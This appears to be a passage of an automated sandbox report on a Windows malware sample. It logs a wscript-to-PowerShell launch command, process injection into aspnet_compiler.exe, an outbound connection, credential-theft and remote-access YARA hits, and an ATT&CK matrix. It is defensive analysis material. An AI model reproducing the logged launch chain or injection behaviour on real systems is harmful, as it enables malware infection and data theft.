Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090535 mov eax, dword ptr fs:[00000030h]	5_2_01090535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090535 mov eax, dword ptr fs:[00000030h]	5_2_01090535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113B52F mov eax, dword ptr fs:[00000030h]	5_2_0113B52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108D534 mov eax, dword ptr fs:[00000030h]	5_2_0108D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108D534 mov eax, dword ptr fs:[00000030h]	5_2_0108D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108D534 mov eax, dword ptr fs:[00000030h]	5_2_0108D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108D534 mov eax, dword ptr fs:[00000030h]	5_2_0108D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108D534 mov eax, dword ptr fs:[00000030h]	5_2_0108D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108D534 mov eax, dword ptr fs:[00000030h]	5_2_0108D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01088550 mov eax, dword ptr fs:[00000030h]	5_2_01088550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01088550 mov eax, dword ptr fs:[00000030h]	5_2_01088550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B656A mov eax, dword ptr fs:[00000030h]	5_2_010B656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B656A mov eax, dword ptr fs:[00000030h]	5_2_010B656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B656A mov eax, dword ptr fs:[00000030h]	5_2_010B656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B562 mov eax, dword ptr fs:[00000030h]	5_2_0107B562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BB570 mov eax, dword ptr fs:[00000030h]	5_2_010BB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BB570 mov eax, dword ptr fs:[00000030h]	5_2_010BB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B4588 mov eax, dword ptr fs:[00000030h]	5_2_010B4588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110B594 mov eax, dword ptr fs:[00000030h]	5_2_0110B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110B594 mov eax, dword ptr fs:[00000030h]	5_2_0110B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107758F mov eax, dword ptr fs:[00000030h]	5_2_0107758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107758F mov eax, dword ptr fs:[00000030h]	5_2_0107758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107758F mov eax, dword ptr fs:[00000030h]	5_2_0107758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01082582 mov eax, dword ptr fs:[00000030h]	5_2_01082582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01082582 mov ecx, dword ptr fs:[00000030h]	5_2_01082582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE59C mov eax, dword ptr fs:[00000030h]	5_2_010BE59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15A9 mov eax, dword ptr fs:[00000030h]	5_2_010A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15A9 mov eax, dword ptr fs:[00000030h]	5_2_010A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15A9 mov eax, dword ptr fs:[00000030h]	5_2_010A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15A9 mov eax, dword ptr fs:[00000030h]	5_2_010A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15A9 mov eax, dword ptr fs:[00000030h]	5_2_010A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011135BA mov eax, dword ptr fs:[00000030h]	5_2_011135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011135BA mov eax, dword ptr fs:[00000030h]	5_2_011135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011135BA mov eax, dword ptr fs:[00000030h]	5_2_011135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011135BA mov eax, dword ptr fs:[00000030h]	5_2_011135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113F5BE mov eax, dword ptr fs:[00000030h]	5_2_0113F5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011005A7 mov eax, dword ptr fs:[00000030h]	5_2_011005A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011005A7 mov eax, dword ptr fs:[00000030h]	5_2_011005A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011005A7 mov eax, dword ptr fs:[00000030h]	5_2_011005A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF5B0 mov eax, dword ptr fs:[00000030h]	5_2_010AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A45B1 mov eax, dword ptr fs:[00000030h]	5_2_010A45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A45B1 mov eax, dword ptr fs:[00000030h]	5_2_010A45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011535D7 mov eax, dword ptr fs:[00000030h]	5_2_011535D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011535D7 mov eax, dword ptr fs:[00000030h]	5_2_011535D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011535D7 mov eax, dword ptr fs:[00000030h]	5_2_011535D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE5CF mov eax, dword ptr fs:[00000030h]	5_2_010BE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE5CF mov eax, dword ptr fs:[00000030h]	5_2_010BE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B55C0 mov eax, dword ptr fs:[00000030h]	5_2_010B55C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A95DA mov eax, dword ptr fs:[00000030h]	5_2_010A95DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010865D0 mov eax, dword ptr fs:[00000030h]	5_2_010865D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BA5D0 mov eax, dword ptr fs:[00000030h]	5_2_010BA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BA5D0 mov eax, dword ptr fs:[00000030h]	5_2_010BA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011555C9 mov eax, dword ptr fs:[00000030h]	5_2_011555C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010FD5D0 mov eax, dword ptr fs:[00000030h]	5_2_010FD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010FD5D0 mov ecx, dword ptr fs:[00000030h]	5_2_010FD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BC5ED mov eax, dword ptr fs:[00000030h]	5_2_010BC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BC5ED mov eax, dword ptr fs:[00000030h]	5_2_010BC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010825E0 mov eax, dword ptr fs:[00000030h]	5_2_010825E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE5E7 mov eax, dword ptr fs:[00000030h]	5_2_010AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15F4 mov eax, dword ptr fs:[00000030h]	5_2_010A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15F4 mov eax, dword ptr fs:[00000030h]	5_2_010A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15F4 mov eax, dword ptr fs:[00000030h]	5_2_010A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15F4 mov eax, dword ptr fs:[00000030h]	5_2_010A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15F4 mov eax, dword ptr fs:[00000030h]	5_2_010A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A15F4 mov eax, dword ptr fs:[00000030h]	5_2_010A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A340D mov eax, dword ptr fs:[00000030h]	5_2_010A340D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B8402 mov eax, dword ptr fs:[00000030h]	5_2_010B8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B8402 mov eax, dword ptr fs:[00000030h]	5_2_010B8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B8402 mov eax, dword ptr fs:[00000030h]	5_2_010B8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107C427 mov eax, dword ptr fs:[00000030h]	5_2_0107C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107E420 mov eax, dword ptr fs:[00000030h]	5_2_0107E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107E420 mov eax, dword ptr fs:[00000030h]	5_2_0107E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107E420 mov eax, dword ptr fs:[00000030h]	5_2_0107E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BA430 mov eax, dword ptr fs:[00000030h]	5_2_010BA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113F453 mov eax, dword ptr fs:[00000030h]	5_2_0113F453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108B440 mov eax, dword ptr fs:[00000030h]	5_2_0108B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108B440 mov eax, dword ptr fs:[00000030h]	5_2_0108B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108B440 mov eax, dword ptr fs:[00000030h]	5_2_0108B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108B440 mov eax, dword ptr fs:[00000030h]	5_2_0108B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108B440 mov eax, dword ptr fs:[00000030h]	5_2_0108B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108B440 mov eax, dword ptr fs:[00000030h]	5_2_0108B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE443 mov eax, dword ptr fs:[00000030h]	5_2_010BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A245A mov eax, dword ptr fs:[00000030h]	5_2_010A245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107645D mov eax, dword ptr fs:[00000030h]	5_2_0107645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081460 mov eax, dword ptr fs:[00000030h]	5_2_01081460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081460 mov eax, dword ptr fs:[00000030h]	5_2_01081460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081460 mov eax, dword ptr fs:[00000030h]	5_2_01081460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081460 mov eax, dword ptr fs:[00000030h]	5_2_01081460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081460 mov eax, dword ptr fs:[00000030h]	5_2_01081460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109F460 mov eax, dword ptr fs:[00000030h]	5_2_0109F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109F460 mov eax, dword ptr fs:[00000030h]	5_2_0109F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109F460 mov eax, dword ptr fs:[00000030h]	5_2_0109F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109F460 mov eax, dword ptr fs:[00000030h]	5_2_0109F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109F460 mov eax, dword ptr fs:[00000030h]	5_2_0109F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109F460 mov eax, dword ptr fs:[00000030h]	5_2_0109F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0115547F mov eax, dword ptr fs:[00000030h]	5_2_0115547F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AA470 mov eax, dword ptr fs:[00000030h]	5_2_010AA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AA470 mov eax, dword ptr fs:[00000030h]	5_2_010AA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AA470 mov eax, dword ptr fs:[00000030h]	5_2_010AA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B480 mov eax, dword ptr fs:[00000030h]	5_2_0107B480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01089486 mov eax, dword ptr fs:[00000030h]	5_2_01089486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01089486 mov eax, dword ptr fs:[00000030h]	5_2_01089486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110A4B0 mov eax, dword ptr fs:[00000030h]	5_2_0110A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010864AB mov eax, dword ptr fs:[00000030h]	5_2_010864AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B34B0 mov eax, dword ptr fs:[00000030h]	5_2_010B34B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B44B0 mov ecx, dword ptr fs:[00000030h]	5_2_010B44B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011554DB mov eax, dword ptr fs:[00000030h]	5_2_011554DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010804E5 mov ecx, dword ptr fs:[00000030h]	5_2_010804E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011294E0 mov eax, dword ptr fs:[00000030h]	5_2_011294E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01085702 mov eax, dword ptr fs:[00000030h]	5_2_01085702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01085702 mov eax, dword ptr fs:[00000030h]	5_2_01085702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01087703 mov eax, dword ptr fs:[00000030h]	5_2_01087703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BC700 mov eax, dword ptr fs:[00000030h]	5_2_010BC700

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 162.159.129.233 443

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 98F008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\x.exe VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1996937641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1997479679.0000000000BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1996937641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1997479679.0000000000BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Exploitation for Client Execution	221 Scripting	411 Process Injection	1 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
